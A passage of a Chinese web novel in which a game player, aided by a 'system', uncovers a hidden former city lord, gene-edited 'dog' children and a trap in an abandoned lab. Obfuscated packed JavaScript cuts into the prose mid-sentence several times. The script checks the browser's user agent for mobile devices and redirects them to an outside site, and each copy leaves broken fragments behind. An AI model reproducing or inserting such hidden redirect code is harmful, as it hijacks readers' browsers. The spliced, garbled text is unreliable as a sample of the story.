“……你让这场谈话一下从权谋对决变成了烂俗小说。” 闵朝言面无表情地点评。 “只许你用眼睛脱我衣服,不许我想亲你吗?” 鹤棠的表情再次回到一脸正直。 ‘他瞬间让这个副本的基调变得很诡异。’ 闵朝言对系统说。 ‘杀了吧。’ 「他确实有点毛病——不不不对!那也不能马上就杀吧?你到底有没有一点保持一致的杀人标准啊?!」 系统大惊。 闵朝言默默听着系统语无伦次,半响,点头, ‘好吧,我有一点理解他了。’ ‘你的反应确实很有趣。’ “我说过,我会竭尽全力帮助你的,” 鹤棠没有让这个诡异的气氛继续维持下去,很快回归了正题, “你的时间很宝贵,用杀人立威太慢了。” 所以,他选择了另一个方法, 用他自己以及“和平鸽”多年下来积累的威势作为闵朝言的垫脚石。 今日之后, 和平鸽不再是地下城的保护者,而是“暴君的走狗”。 鹤棠想到这一点,居然没有觉得心中有任何遗憾之情,反而满是期待。 “你是我一直在等待的人。” “我一直希望,有一个人能结束这一切,任何形式的结束,都可以。” 他说。 闵朝言看着他的脸,半响,抬手摸了摸他的脸颊,只说: “我杀了予烬,可比起他的尸体,你更像是一个死人。” 鹤棠没有说话, 他是一个极其英俊的男人,高大挺拔,周正温润, 笑容柔和,眼神死寂。 他不再说话, 安静地为闵朝言擦去溢出的脓血,动作轻柔地更换纱布。 闵朝言似乎还想再说些什么,却只看见眼前的伤口不断扩大,逐渐蚕食了自己整条左臂,甚至扭曲了眼前的空间,直直冲她而来! 她试图召唤出“溺亡者”,然而鞭影尚未浮现,她便眼前一黑,失去了意识。 -希望联盟- 折日站在已经被打扫干净的实验室里,看着那个属于予烬的玻璃展柜, 此刻,展柜中空无一物。 “我听说了。” 身后,一个粗粝的嗓音传来。 折日转过身,看着眼前的女人。 她身着灰色长袍,兜帽遮住上半张脸,只露出一道狰狞伤疤。 那伤疤层层叠叠,组织纠结在一起,居然看不清楚来历,是刀伤火烧,亦或是强酸腐蚀? 不重要了,总归都是伤疤。 “这世界上,居然真的没有东西能杀死他。” 折日感叹。 予烬复活了。 就在折日将闵朝言送走后不久,实验室被人闯入,其他的东西都没有失窃,唯独这个玻璃展柜里的东西被尽数偷走,看守的人也被打昏在原地。 看守醒来之后说,自己在昏过去之前见到的最后一个人,就是死而复生的予烬。 “他变得好奇怪,好像根本不认识我,但是当随尚想要杀我灭口的时候……他阻止了。” 说到这里,守卫的声音又变得愤恨起来: “那个贱人随尚!竟然敢背叛我们,一定要杀了他!” 随尚会背叛,折日其实并不意外。 这个人没有太多才能,却有太多贪心。 她之前没有过分防备随尚,也正是因为这一点,一个蠢人即使想做恶,所能造成的伤害也极其有限。 但她忘了一点:随尚也许是个蠢货,被暗中他这枚棋子的,却未必是。 “轻视他人,果然是要付出代价的。” 折日自嘲道。 “有生之年能听到你说这种话,我真是死而无憾了。” 疤痕女人笑了一声,扯出一个丑陋却欢快的笑容。 “这话说得好不讲理,我又不是什么犯了错打死不认的人。” 折日也笑了一声,回嘴道。 “你也不是什么犯了错主动会认的人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272342|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 疤痕女人白她一眼。 二人交谈熟稔亲近,显然相识已久,甚至算得上多年老友。 “我原本以为他趋炎附势,会去依附吴城。 你也知道,吴城就是个空有肌肉的草包,一开始就被架空了,‘和平鸽’把那些平民送他玩玩,他就真以为自己是城主了。” 折日嗤笑一声,又说, “我们一直以为,吴城是捡了那个人‘暴毙’而亡的便宜,如今看来……可未必啊。” 疤痕女人没说话,眼神冷冷地看着办公桌上予烬的照片,冷哼了一声: “他们长得,可真像啊,一样的让我恶心。” 折日表情一顿,拉住女人的手,神情认真,仿佛在宣告一个誓言: “我不会让你的血白流的,如果他还活着——我一定会杀了他!” 疤痕女人抬头,看着折日的眼睛,忽然抽出手,又猛地抱住她,一字一句,咬牙道: “我的血流多少都无所谓,只要他的血,也一样流干。” -城主居所- 闵朝言睁开眼睛,加粗的红色倒计时扎得她眼睛生疼: [37:19:09] 看到这个数字,闵朝言下意识睁大了眼睛,甚至怀疑是不是自己看错了。 37。 她居然昏迷了十四个小时! “……你醒了。” 鹤棠说。 他似乎一直坐在床边,神情中带着一丝疲惫和忧虑。 这种异常的昏睡,显然是因为堕灵病毒对闵朝言身体的侵蚀。 而且, 这个速度还在加快。 “我要快点找到那个东西。” 闵朝言闭上眼,缓缓说。 “什么东西?” 鹤棠问。 “神会选择栖身的东西。” 闵朝言回答。 …… 鹤棠沉默了。 “他们两个洗干净了,你要见见吗?” 他又问。 他说的,是狼孩,和那个在笼子里,管闵朝言叫“主人”的少年。 时间倒回到十几个小时之前。 笼中少年用尽全力拉住闵朝言的衣角,声音喑哑干涩: “主人……” “如果你长得和那边那位一样,这句主人才能有点用。” 闵朝言看了一眼鹤棠,又看了一眼笼中少年,面无表情地说。 她觉得自己挺幽默。 “您选择了我们,主人。” 少年说话的音调流畅了一些,他在学习人类的发音。 而且,学得很快。 “你们?” 闵朝言挑眉。 托两张高度相似的角色面板的福,她一下子就明白了那个“们”指的是谁。 “您给他起名字了吗?” 少年问,急切中又有点委屈, “您会给我起名字吗?” “他不会说话。” 闵朝言想起只能呜咽着抱住自己的狼孩,问, “为什么你会?” “人类训犬,当然要各有各的长处,不能养都一样的狗呀。” 少年似乎笑了一声,又剧烈地咳嗽起来。 显然,他的身体很虚弱。 “这么说的话,你应该是边牧。” 闵朝言在笼子前蹲下,仔细观察着他。 “那……边牧给主人一点见面礼,主人可以给我起名字吗?” 少年凑上前来,笑眯眯看着闵朝言。 “吴城只是一个傀儡,上任城主,其实根本就没有死。” “他抢走了这地下城里,唯一的宝物。” 11. 暴君与地下城(11) 之前的城主。 闵朝言这个角色,准确来说,她知道这个角色本该在这个副本里的设定和位置。 原剧情中,他是原定男主予烬的“父亲”,是整个故事中最大也最终的反派。 他研制出了畸变病毒,让人类面临末日的灭顶之灾; 又建立了地下城,让幸存的人们至少有了一个可以苟延残喘的地方。 一个如此疯狂,又如此矛盾的人,本该是一个复杂立体,可恶却又难掩魅力的角色。 然而,堕灵病毒侵蚀了这个副本,也侵蚀掉了原本被他研发出来的“畸变病毒”, 这个角色瞬间从“暗中布局操控世界毁灭的疯子天才”,成为了,“莫名其妙搞了一堆事却最后什么成果也没出来的小丑”。 甚至, 在闵朝言进入这个副本之前,他就已经被吴城——这个一看上去就是个无脑路人NPC的角色,给杀了。 那个时候,闵朝言和系统都以为,这是因为副本被侵蚀,剧情不断崩坏所导致的。 这个猜测当然是合理的, 但合理的,就一定是真相吗? 现实往往与之相反。 堕灵病毒取代了畸变病毒,所以在鹤棠的视角里,病毒的蔓延从“人祸”变成了“天灾”。 那么,真正创造了那个病毒的原城主会不知道这件事情吗? 不可能,他一定知道。 但他会就此放弃吗? 不可能。 「难道,原城主是假死?」 系统惊讶。 ‘避开锋芒,韬光养晦。至于可能被‘天灾’祸害的危机,就让蠢货吴城来挡。’ 闵朝言说。 ‘这才是顶级反派会做出的选择。’ 「哇,好厉害!」 系统非常给面子地鼓掌。 “你怎么知道城主没有死?” 闵朝言问笼子里的少年。 少年却只是扬起一个笑脸,不肯说话。 这是一只喜欢和主人撒娇谈条件的小狗。 他在要自己的奖励。 “边……” 她开口,却看见少年脸上露出可怜兮兮的表情。 “边牧是品种,不是名字。” 他有点委屈。 闵朝言觉得他有点毛病。 自称小狗这种情趣她当然是没少见过,但是真心实意把自己当狗还上赶着让主人给起名字的,即使在闵朝言的见闻中,也属于变态的。 “那你叫少晏。” 闵朝言说。 少晏,少言, 她希望这只边牧能少说两句。 “少晏,我喜欢。” 他显然知道这个名字的意思,但依然像是得到了什么珍贵的宝物一样,声音都变得甜蜜。 “我想想,从哪里开始说……从我们的来历开始,好不好?我和他一样,都是在实验室里诞生的,他们想培养出绝对忠诚的,又足够强大的工具。” 少晏缓缓说着,依靠在笼子上,虚弱得可怕。 闵朝言有点担心他会说到一半昏死过去。 末日之后,有很多孩子被遗弃,少晏和狼孩都是其中的倒霉蛋,他们被城主的实验室“收留”了。 从婴儿到青少年,用基因编辑的方式,那些孩子被塑造成忠诚且绝对服从的‘犬’,。 “刚刚被改造的那段时间里,我想死,但又觉得该死的人不是我。所以,我决定要活下去,要选择自己的主人,要看着那个人死去” 少晏看着闵朝言,脸颊靠在笼子边上,眼神中带着喜悦之情, “您很不一样呢,您知道吗?” “在您的眼睛里……我可不带着任何羞耻,也不带着任何怨恨地属于你。” 他果然晕了。 是知道自己撑不到能给出有效信息的那一刻,怕她直接把连人(狗?)带笼扔到垃圾堆里,所以才故意在昏过去之前对百般讨好投诚吗? 他的判断很准确,闵朝言是真能干出来这事。 继任仪式将近,闵朝言只好让鹤棠派人照顾他,顺便把另一只狼孩也拎过来,看看他们俩放在一起是不是会有点什么化学反应。 她当然知道他们不会合体变身,毕竟这个副本也不是这个世界观。 但如果会的话,她还有点想看。 时间回到现在。 ‘我觉得我变了。’ 闵朝言说。 「你变什么了?」 系统不解。 ‘我以前不会在心里想这些废话。’ 闵朝言回答。 她从前不会思考这些,她有目标就去做,有讨厌的人就杀,不算没有脑子,但一直也懒得用脑子。 她以前——以前—— 是什么样子的来着? 这漫无边际的思考在少晏和狼孩被带进来之后打断,闵朝言看着两只已经被洗干净的小狗。 狼孩看上去又胖了一点,他现在终于像个人模样了, 而且是个很好看的人模样。 头发被洗干净之后梳好,金色的发丝蓬起来,显得很精致乖巧, 脸颊上有一些肉之后,才发现他其实是一双圆润的杏眼,一双金色竖瞳此刻放松下来,里面满映着闵朝言的模样。 少晏长得也很不错, 精气神更是比被锁在笼子里时要好上许多。 他虽然瘦,但远没有到狼孩之前那副形销骨立的程度,看上去只是弱不禁风了一点,反而为他增添些许精致秀气的感觉,狭长的桃花眼中带着笑意,五官轻巧玲珑,苍白纤弱,颇有种雌雄莫辨的美。 “主人。” 少晏说。 狼孩依然不会说话,喉咙里发出咕噜咕噜的音节,走过来蹲下,用自己的毛茸茸的脑袋去蹭闵朝言的手,一双圆眼睛眨巴眨巴,很期待的模样。 闵朝言顺手摸了他一把,果然看到他满足地眯起眼睛。 “你醒了。” 闵朝言点头,摸着手心里毛茸茸的脑袋,问。 “嗯,感觉好多了,好像又能再活一天的样子。” 少年笑眯眯地点头。 不管是少晏还是狼孩,好像都在和她接触之后,状态肉眼可见得好了许多。 但闵朝言又不是什么人参果成精,哪来的这种能力? 闵朝言疑惑地皱眉,还没等发问,答案就已经有人送到她嘴边。 “那些人真的很有意思。他们想让我们当忠诚的狗,又怕我们不够忠诚,所以在基因编辑里,加入了一些东西。 如果我们没有得到‘主人’的关注,身体里的器官就会自行衰竭,直到死亡。” 少晏说着,走到闵朝言床脚坐下,看着她。 “但这很讽刺不是吗?他们其实根本就不相信自己的成果,因为只有人才会不断地背叛。” 他说。 的确,狗永远不会背叛自己认定的主人。 那些研究员们因为担心试验品而设下的种种限制,反而更证明了,他们其实将少晏当做了“人”来看待。 “我对人类的道德困境没有兴趣。” 闵朝言说, “告诉我你还知道什么。” “我知道,他们的首领,是那位真正的城主,他同时进行着很多个项目,但这些项目的核心都是一致的,他想要找出人类的‘未来’,也就是进化的可能性。” 他为进化设置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272343|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多种可能,少晏所在的项目组是其中一个方向——阶级化。不是指那些经济阶级,而是生物上的阶级。 就如同蚁群一般,以蚁后为核心建立家园,用于劳作的工蚁,用以繁衍的雄蚁,等等等等,不一而足。 “我想,他应该不仅仅打算停在只制造我们‘工具阶层’,但有一天,他突然停下了。” 少晏说。 那是三年前的事情了, 少晏当时已经决定顺从自己的命运,只是依然执着于找一个他认可的主人——毕竟,那是他生命中唯一且仅有的自由了。 为此,他一直不肯顺从于当时负责他的研究员,没少吃苦头。 少晏一开始被认为是个失败品。 没有强大的力量,没有敏捷的速度。 那位研究员很担心自己会因为实验品的羸弱而被斥责,尤其是在少晏隔壁就住着整个项目组最强大成果的前提下。 那个最成功的实验品,力量极强,速度敏捷都远超人类,进化出了极强的自愈力,甚至还对畸变病毒有一定抗性! 除了不会说话和喜欢像狼一样撕咬东西,没有任何缺点。 害怕被当作无用之人被处理掉的研究员,开始格外卖力地工作。 抽血割肉都是最基本的,研究员还在不断地辛劳工作中,发现了少晏真正的长处: 他很聪明。 这些孩子早就已经被剥夺了语言表达自我的权利,但研究员听到过少晏模仿自己的说话,他模仿得非常好——连语气、停顿,甚至呼吸的气口都一模一样。 研究员检测过少晏的脑部波动, 并且与此同时,将一部分有关于计算的研究内容让他阅读。 大脑波动显示,尽管没有进行过任何与此相关的学习,也没有任何人从旁指导,但在第三遍阅读重复内容时,少晏已经理解了这份极其复杂的、涉及人体基因模组改造的计算公式。 他,非常聪明。 所以当实验室陷入诡异的停摆时,少晏也马上就观察到了这一点。 不是研究遇见了阻碍,也不是实验室出现了经费或者运力不足,而是在最高层安排着一切的手,忽然停止了动作。 那位城主陷入了迷茫,还是困境? 在“别人家的实验品”的帮助下,少晏撕开了那位负责自己的研究员,用对方的眼球打开了数据库。 踩着尸体得来的收获简直让人惊喜。 他用那个研究员的权限看到,实验室里所有关于少晏和狼孩的数据,都被篡改成了一些平庸实验品的记录。 不仅仅是少晏所在的这个项目组,在整个实验室系统中,有四个修改的痕迹,和一个完全的数据空缺。 那个空缺是什么? 少晏试图黑进系统里更高的权限,但他没有时间了。 第二天,城主被吴城杀死的消息传来。吴城抢走了属于原城主的所有东西,当然也包括那些实验室。 但他没有脑子也没有意愿继续研究,那些仪器和数据对他来说都是废物。 自然,实验室也被遗弃了。 只有少晏“意外”暴露了自己知道原城主死亡真相,被吴城关起来囚禁。 “我留在吴城身边,就是在等机会,再次接触到系统,搞清楚那个人到底带走了什么。” “我想,那些修改痕迹,是城主留下来,但不希望人发现的东西。他逃得很匆忙,连我们这样的宝贵实验体都没来得及带走。” “那么,他宁可留下破绽也要带走的,肯定是这座城市里,最珍贵的东西。” 少晏狡黠地眨眨眼。 “比如说……太阳的钥匙。” 他看向闵朝言,眸中暗金色亮起。 12. 暴君与地下城(12) 在闵朝言的要求下, 少晏带着她来到了他们之前所在的项目实验室,跟着一起的还有狼孩这个小尾巴。 这是一个隐藏在更深处地下的实验室,暗无天日,此刻已经没有任何光源仍在工作,在前往实验室的地下通道中,闵朝言几人带上头灯才能勉强看到里面的样子。 据少晏所说,实验室并不大,也算不上非常受重视,因此藏在整个试验所的角落里。 闵朝言谨慎地一步步向前走去,身边忽然贴上来一只手臂。 她转过头,看着狼孩安静地冲自己眨了眨眼,又伸出他的手臂。 他虽然不会说话,但神情却很灵动简单,闵朝言看出来,他想让自己牵着他走。 这个不会说话的孩子其实很细心,他站在了闵朝言左边,保护着她因为左臂无法灵活使用而产生的薄弱方位。 “好。” 闵朝言没有犹豫,僵硬的手指牵住狼孩的手。 狼孩马上回握她,动作迅速却很小心。 他的掌心有很深的伤疤,摸上去有点粗糙,但又很热。 闵朝言不自觉多看了他一会儿, 他似乎长大了一些,身量不再是十几岁的模样。初次见面的时候,闵朝言还可以平视他,此时却要微微扬起头了。 他的骨骼棱角开始显现,下颌线变得清晰而锋利,可配上那双圆润杏眼时,攻击性瞬间消失,只剩下满满期待和喜爱。 此刻,或许是因为交握着的双手,杏眼中带上一点窃喜的羞涩,莹白如玉的耳尖也悄然发红。 闵朝言自诩是爱美的, 她天然地对资容美丽的人多一些耐心,否则在刚刚进入副本时也不会和予烬扯那么久废话。 “我们到了。” 走了大约有十五分钟之后,少晏说。 他对这个实验室很熟悉,接着头灯并不明亮的光也能轻车熟路地找到备用电源,很快,实验室里亮起来。 正如少晏所说,这里早就已经被废弃了,就连少晏自己也只在半年前回来过一次——那是他试图破解实验系统的时候。 “如果你那个时候就已经知道了前任城主带走了什么,为什么还要留在吴城身边受他折磨?” 闵朝言当时问他。 少晏却不回答,只是笑着想要趴在闵朝言膝上,又在被她轻轻踹开之后止不住地笑起来。 实验室被废弃之前似乎经历过一场暴动。 里面的电脑被砸坏了,碎片散落在地上,厚厚的打印出来的数据资料被撕碎了,上面还有不知道多少个脚印覆盖,显然是慌乱间被抢走的。 实验室不大,是一个规整的四方形结构。 墙壁四周用一个个用玻璃和钢筋焊成了大约有四五十个笼子,那些笼子很小,也就是勉强够一个成年人蜷缩着躺下的面积。 少晏,狼孩,这些“实验体”们,显然住的就是这样的笼子。 闵朝言似乎有点明白为什么少晏可以在吴城身边继续待下去,因为他早已习惯这种不得不蜷缩的生活,对他而言,那已经算不上什么痛苦了。 实验室的摆放大约是一个“回”字型结构,中间的台子上放着各种试剂和研究用具,有的上面还带着陈年的血渍,深深渗进金属层里,仿佛某种诅咒的图腾。 狼孩有极强的自愈能力,少晏没有自愈能力。 研究员们是怎么发现这一点的呢? 这不难推测。 “这是你组织的吗?” 闵朝言走上前,看着有数个笼子的玻璃被打碎,钢筋也已经变形,凑上前,鼻尖轻嗅,果然有血腥味。 “我想给一直一起长大的同伴们,一点礼物嘛。” 少晏笑着说,没有否认。 “尸体呢?” 闵朝言问。 对于少晏有能力和意愿发动一场实验体暴动这件事,闵朝言毫不怀疑。 但这件实验室里,也没有什么可以用来处理尸体的药剂和设备,就算放任尸体腐烂,应该也至少会有骨架留下来吧? “大家运动完,饿了呀。” 他回答。 …… 闵朝言点点头,没有继续追问,她并不恐惧人吃人,但是追问细节显得啰嗦而变态。 “调出你找到的系统破绽,我想看。” 她很快回归正题。 这是她来到这个实验室的最主要原因——尽管有着少晏的转述,但闵朝言依然希望看待最直接的证据。 不对,严格来说,其实也不是她看。 「成功登入!我现在就开始核查所有数据!」 系统的声音充满斗志。 少晏的讲述也许是真的,也许进行了有利于他自己的加工,但这些对于闵朝言来说并不重要。 只要能接触到研究所的系统,至少在程序上面,她有一个绝对忠实,且足够强大的同伴, 由整个《物·源》游戏最高权限持有者所创造的系统。 ‘首先核查少晏说的是不是真的,然后着重去寻找太阳钥匙的线索。’ 闵朝言对系统说。 「好咧!」 系统痛快答应。 首先验证少晏,是为了确认对方有几分可信。 作为项目实验体,即便人身自由被限制,也是实打实的在这里生活过多年,再加上他的智力,对研究所必然有着很深的了解。 这样的一个人,可以成为闵朝言的助力,也可能成为她前进路上极大的阻力。 她需要尽快了解清楚,才能感觉自己该如何对待他。 笑纳,还是处理? 闵朝言看了一眼少晏,眼神中没有什么情绪。 少晏也看到闵朝言的冷淡眼神,却毫不介意一般对她眨眨眼,只说: “早知道您要看我的话,我就用左脸对着这边了,我左脸比较好看一点。” 闵朝言没说话,将视线重新放到屏幕上。 「我黑进了系统,给自己设定了一个临时的最高权限。从这里的内容来看,少晏说的都是真的。」 「他们的来历,还有基因改造的方向都对得上,他和狼孩的数据也的确有篡改痕迹,但是并不高明,很容易识破。」 系统说。 「我现在继续找关于钥匙的内容,我共享给你了,你快看。」 闵朝言在脑海中看着系统传输过来的资料。 正如畸变病毒一样,人造太阳也是前城主的杰作。 作为地下城的必需品,在一开始的设想中,这个太阳的本质其实只是一个巨大功率和瓦数的灯。 关于人造太阳的研究重点,也是致力于如何在这样巨大的亮度下,让光照显得不那么刺眼,尽可能地模拟太阳光。 是的,这个研发出畸变病毒让人类走入末日不得不躲进地下城的疯狂科学家的另一个研究项目,是让人造太阳光不那么刺眼。 这种诡异的温馨实在过于扭曲,就连闵朝言都觉得有点后背发凉。 就像是杀人狂魔用带着血锈和碎肉的斧头在温馨的家庭聚会上砍烤鸡一样的别扭和恐怖。 「天呐,你看到了吗?」 系统的惊诧打断了闵朝言的联想, 「他只是一个副本角色,怎么可能会?!」 杀人狂魔的温馨晚餐只是偶尔,他们真正的事业是砍下一个个头颅; 前城主会考虑到民众护眼关怀的温情也是偶尔,他真正的重心依然在畸变病毒上。 然而,他慢慢发现,自己引以为豪的畸变病毒,居然开始衰弱。 在研究日志中,他尝试了成千上万种的重新组合排列,但结果只有失败。 失败,失败!失败!!! 无尽的失败重叠在一起,仿佛神在嘲讽妄想撼动世界的蝼蚁。 但他不会放弃, 他永远,不会放弃。 「他好像……知道了世界的……真相。」 在震惊中,系统的声音断断续续。 世界的真相? 是指这个世界只是一个副本的真相吗? 闵朝言试图去理解系统传输过来的新文档,但将意识探入进去之后,却只看到0和1字符在疯狂地刷新滚动。 ‘系统?’ 闵朝言问。 闵朝言其实看不懂那些程序和字符,无论她如何试图学习,都无法理解其中的一丝一毫,就好像她的这部分能力被一键删除了一样。 在之前,系统都会将数据文件转化为闵朝言可以理解的文字内容。 但它现在是怎么了? 什么能让它这么着急,连基本的格式转换都忘记了? 系统没有给予反馈,闵朝言试图从自己手中的电脑屏幕寻找答案。 她在少晏给她打开的面板上划了两道,看见了一个写着陌生编号的文件夹被放在了最显然的位置。 这是什么? 看上去,是特意放在这里,等着她点开的。 闵朝言打开文档,在看到其中内容时,指尖猛地顿住。 因为里面不是少晏的资料,也不是狼孩的资料,而是——她自己的。 她也是—— 不对,闵朝言是玩家,她是顶替了NPC的身份才能正式介入影响副本的。所以这个文档,是她在副本中顶替的这个角色。 那个角色,原本也是实验体吗? 可为什么之前她看到的原剧情梗概里,没有这一段描述。 闵朝言感到左手指尖轻微地发麻,她分不清这是因为情绪的波动还是自己受病毒侵蚀的程度又在加深。 “实验变体——受体异常——” 闵朝言皱起眉,默念这上面被标红的大字,忽然,她的眼神停在一个地方,久久没有移动。 不对, 时间不对, 这上面标准的“受体异常”时间, 就是闵朝言进入这个副本的时间! 「你小心!我刚才被冻结住了!有人在这个系统里留了陷阱!」 系统惊慌的声音传来。 「对方发现我了!他们就是冲着我们来的!」 与此同时,实验室的大门自动合上,落锁的声音清晰而沉重。 这是个陷阱。 闵朝言眼神锐利,快步冲上前,右手随意从笼子边上扯下来一根钢筋,试图抵住门锁,却眼见着钢筋被顶了回来,弯成了一个滑稽的形状。 钢筋不行,那别的东西呢? 闵朝言皱眉,稳住呼吸,“溺亡者”的鞭影在右手心里浮现,然而,就在她握住鞭身的一瞬间,掌心处传来一阵剧痛! “——!!!” 仿佛整条手臂的骨骼被瞬间碾碎又浸在了烈酒里,闵朝言痛呼出声,鞭影也瞬间消散。 她脸色发白,额间渗出虚汗,甚至站立不稳,向地上跌去。 一双手臂扶住了她,是狼孩。 “主人!” 少晏大惊失色,匆忙跑过来,却被狼孩用手直接掐住了脖子,从地上提起来。 狼孩比少晏要高,力气也大得多,少晏双脚离地,奋力挣扎着想将对方的手拉开,却根本无法撼动一丝,脸色涨红,近乎窒息。 “不是他。” 闵朝言靠在狼孩身上,声音虚弱,闭上眼睛,抬手按住狼孩掐住少晏胳膊的那只手臂, “放他下来。” ——咚! 脖子上的手松开,少晏整个人摔到地上,他顾不上自己身上传来的痛意,捂着胸口大口大口地呼吸着,胸膛剧烈地上下起伏,试图用氧气填满干瘪的肺部。 “呼…呼……呼。” 少晏捂住自己的胸口,唇色发紫,勉力支撑着,抬头看向闵朝言,露出一个惨然的笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272344|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你相信我?” “如果是你做的,为什么把也留在我身边?你很惜命,不会给我这么轻易杀死你的机会。” 闵朝言说。 况且,提出前往实验室是闵朝言在二十分钟之前作出的决定, 并且这二十分钟里,她们全程都在一起,如果少晏能够这么快的布置出一个连系统都困住的陷阱,她也认栽。 “我还以为,主人是被我的忠诚打动了呢。” 少晏又笑了一声,肺部扯着疼痛,他却毫不在意一样。 “……有一部分吧。” 闵朝言没有否认这一点。 也许少晏所做的一切中,有表演的成分, 那闵朝言也只能说,他演得实在是太好了,她作为观众,心服口服。 “真好。” 少晏低声说着,撑着坐起来,看着闵朝言, “被人相信原来是这种感觉啊。” 「咱们接下来该怎么办?」 系统问闵朝言。 ‘等。’ 闵朝言说。 「等什么?」 系统不解。 ‘等他来找我啊。’ 闵朝言回答。 对方既然设下了这个局,目的就不可能只是把闵朝言关起来。 他一定想从闵朝言身上得到一些什么。 ‘对了,你刚才说,他知道了什么真相了?’ 闵朝言问系统。 「他在自己的研究日志里写了:这个世界之外,还有世界。」 系统回答。 真相, 副本的真相。 一个NPC,一个侵入副本的病毒,一段开始崩坏的剧情, 就能将副本的壁垒击碎吗? ‘NPC有了自我意识,我还以为这是小说里的情节。’ 闵朝言慢悠悠地回答。 「哎……我有预感,咱们的第一次任务,真的要光荣失败了。」 系统挠头, 「我现在真的一头雾水,不知道该怎么做才对了。」 闵朝言沉默了。 她其实内心也有同感。 到底该怎么做才能扭正这个副本? 净化主角?可是主角杀了一个就会有下一个。 改变剧情?可是剧情早就已经彻底转不回来了。 接下来还能尝试的只有…… 杀反派了。 一个熟悉的东西映入眼帘。 「姓名:柏颂」 「身份:“畸变末日”副本—幕后boss」 「年龄:未知」 「状态:濒死」 「战力:1/100」 「污染进度:——!@#?不可检测——!@」 战斗力是一个复杂的波动数据,它不仅仅指的是一个人的战斗能力,而是身体素质、体力、间,健康值等等数据的混合在一起之后而得出的分析结果。 而“1”的数值,不是代表这个人的战斗能力弱, 而是意味着, 他几乎,已经死了。 “你好,神的使者。” 坐在轮椅上的男人看向闵朝言。 他看上去比想象中年轻,几乎不可能是予烬的“父亲”辈人物。 大概只有三十岁的视觉年龄,只是发丝已经尽数雪白,连睫毛都仿佛承接着盛雪。 “我可以这样称呼你吗?” 他微笑着问。 该怎么形容那个笑容? 安静,谦和,极度的虚弱之下,又仿佛有什么比生命力依然旺盛的东西在生长,渴望着破土而出。 他和予烬长得很像,只是眼角眉梢间没有那样非人般的精致,却也因此显得更加亲和,像是个亲善的邻家大哥哥。 这样一个人, 是研究出疯狂病毒打算毁灭世界,将人类逼入末日的唯一凶手? 「我靠,他原来长这样,这就是幕后boss的颜值水平吗。」 系统忍不住说了一句。 它越来越像人了。 闵朝言推开保护在自己身前的狼孩,拍拍对方的肩膀安抚,独身走向了坐在轮椅上的男人。 “你快死了。” 闵朝言说。 这实在是一句很突兀的开场白,但此刻她居然也只能说出来这句话,因为她心中不断回响着的只有一句话: 这样的人,死了,真的很可惜。 “啊,我知道。” 柏颂点头,很温和地回答,丝毫没有因为这句话而产生不快, “就像古人说的,窥探天机的人,本来就该是不长命的。” 闵朝言没对这句话做出评价。 “你从我身上,得到什么?” 闵朝言问他。 “结局,我想要结局。” 柏颂回答。 “这个故事已经持续了太久,我们也已经痛苦了太久了,我想要结局。” 他看着闵朝言,眼神坚定。 故事的结局? 如果按照原本被设定好的剧情线去走,那么故事的结局,是圣父予烬成功感化所有人,随后拯救地下城,让人类走出末日。 就像系统在一开始说的那样,这原本只是一个简单的末日童话寓言故事,没什么深度也没什么逻辑。 但地下城需要的,真的是这样一个结局吗? “结局。” 闵朝言重复了一遍这句话。 这不是她第一次听见这个词, 鹤棠也这样说过,自己想要的是结局,任何结局都可以。 “任何结局都可以吗?” 她听见自己的问。 “任何结局都可以,” 听见这句话,柏颂笑了,他看着闵朝言,又重复了一遍: “只要那是真正的结局。”